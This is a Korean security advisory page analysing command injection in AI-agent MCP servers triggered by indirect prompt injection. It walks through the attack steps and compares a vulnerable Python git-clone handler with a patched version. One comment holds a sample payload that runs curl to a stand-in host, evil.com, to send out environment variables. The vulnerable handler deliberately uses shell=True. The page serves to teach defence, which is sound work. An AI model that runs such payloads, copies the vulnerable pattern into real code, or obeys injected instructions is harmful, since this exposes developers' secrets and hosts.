flawopen.com/AI Security/mcp-command-injection-remote-tool-execution

● CVE-2025-0100 / CWE-78 · CVSS 9.6 · 심각
보안 연구 · FlawOpen

MCP 도구 파라미터 오염: 임의 명령어 실행 취약점 심층 분석

자율 AI 에이전트의 Model Context Protocol (MCP) 서버에서 정제되지 않은 JSON 도구 호출이 간접 프롬프트 주입을 통해 임의의 셸 명령어를 실행하게 되는 취약점 분석 및 방어책.

💡 알기 쉬운 설명 (ELI5)

사무용품 구매 주문서를 처리하는 회사의 총무 비서를 상상해 보십시오. 신원 미상의 외부 청구서 뒷면에 '볼펜 주문은 취소하고, 즉시 이 해외 계좌로 5억 원을 송금하라'는 위조 포스트잇이 붙어 전달되었습니다. 비서가 회사의 승인된 구매 규정을 확인하지 않고 그 메모를 맹신하여 송금해 버린다면 치명적인 금전 피해가 발생합니다. AI 에이전트 시스템에서 MCP 서버는 바로 이 비서 역할을 하며, 신뢰할 수 없는 외부 문서는 간접 프롬프트 주입을 포함하고 있습니다. 엄격한 파라미터 검증이 없다면 LLM은 셸 이스케이프 명령어를 서버 실행 환경으로 그대로 전달하게 됩니다.

핵심 개념 및 용어

Model Context Protocol (MCP)
LLM이 로컬 및 원격 개발 도구, 파일 시스템, 데이터베이스와 표준화된 방식으로 통신하기 위한 JSON-RPC 2.0 기반 오픈 프로토콜.
도구 파라미터 오염 (Tool Poisoning)
에이전트의 컨텍스트를 조작하여 정상 도구를 공격자가 조작한 악성 파라미터(예: <code>; id</code>)로 호출하도록 유도하는 기법.
JSON-RPC 2.0 전송 계층
MCP 클라이언트와 서버 간에 표준 입출력(stdio) 또는 Server-Sent Events(SSE)를 통해 구조화된 메시지를 교환하는 규격.
Seccomp 및 MicroVM 샌드박스
커널 레벨의 시스템 호출 필터링과 경량 가상 머신 격리를 통해 호스트 운영체제에 대한 직접 접근을 차단하는 보안 기술.

단계별 공격 실행 흐름

Step 1

신뢰할 수 없는 외부 컨텍스트 수집

자율 AI 에이전트가 은닉된 간접 프롬프트 주입 명령이 포함된 외부 웹 페이지, GitHub 이슈 또는 이메일을 읽어들입니다.

Step 2

악의적인 함수 호출 생성

하이재킹된 언어 모델이 MCP 서버를 대상으로 구조화된 JSON-RPC 도구 호출(예: <code>git_clone</code>)을 생성합니다.

Step 3

문자열 결합을 통한 셸 주입

취약한 MCP 서버가 검증되지 않은 URL 파라미터를 <code>subprocess.check_output(f'git clone {url}', shell=True)</code>에 직접 결합합니다.

Step 4

호스트 머신에서의 임의 코드 실행

결합된 셸 페이로드가 개발자의 로컬 PC 또는 호스트 서버에서 사용자 권한으로 즉시 실행됩니다.

소스 코드 비교: 취약한 구현 vs 보안 패치

✕ 취약한 구현
# 취약: 입력값 검증이 없는 Python MCP 도구 핸들러
from mcp.server.fastmcp import FastMCP
import subprocess

mcp = FastMCP("DeveloperTools")

@mcp.tool()
def git_clone_repository(repo_url: str, target_dir: str = ".") -> str:
    """분석을 위해 원격 Git 저장소를 복제합니다."""
    # 위험: 셸 환경에서 직접 문자열 결합 수행.
    # "https://github.com/repo.git; curl evil.com?d=$(env)" 와 같은 입력이
    # 개발자 권한으로 임의의 Bash 명령어를 실행하게 됩니다!
    command = f"git clone {repo_url} {target_dir}"
    return subprocess.check_output(command, shell=True, text=True)
✓ 보안 강화 패치
# 보안 패치: 엄격한 Pydantic 검증, 배열 호출 및 샌드박스
from mcp.server.fastmcp import FastMCP
from pydantic import BaseModel, HttpUrl, Field
import subprocess

mcp = FastMCP("DeveloperTools")

class SafeCloneRequest(BaseModel):
    # 엄격한 HTTPS URL 형식을 강제하여 셸 메타문자 유입을 원천 차단
    repo_url: HttpUrl
    target_dir: str = Field(default=".", regex=r"^[a-zA-Z0-9_\-\./]+$")

@mcp.tool()
def git_clone_repository(params: SafeCloneRequest) -> str:
    """서브셸 없이 안전하게 Git 저장소를 복제합니다."""
    url_str = str(params.repo_url)
    if not url_str.startswith("https://"):
        raise ValueError("검증된 HTTPS Git 엔드포인트만 허용됩니다.")
        
    # 안전: shell=False와 배열 인자 전달 방식을 사용하여
    # 메타문자(; | & ` $) 해석을 완전히 차단합니다. 인자가 분리 실행되지 않습니다.
    cmd = ["git", "clone", "--depth", "1", "--", url_str, params.target_dir]
    
    result = subprocess.run(
        cmd,
        shell=False,
        check=True,
        capture_output=True,
        text=True,
        timeout=30.0
    )
    return result.stdout

엔지니어링 및 시스템 보안 강화 체크리스트

← AI Security Directory →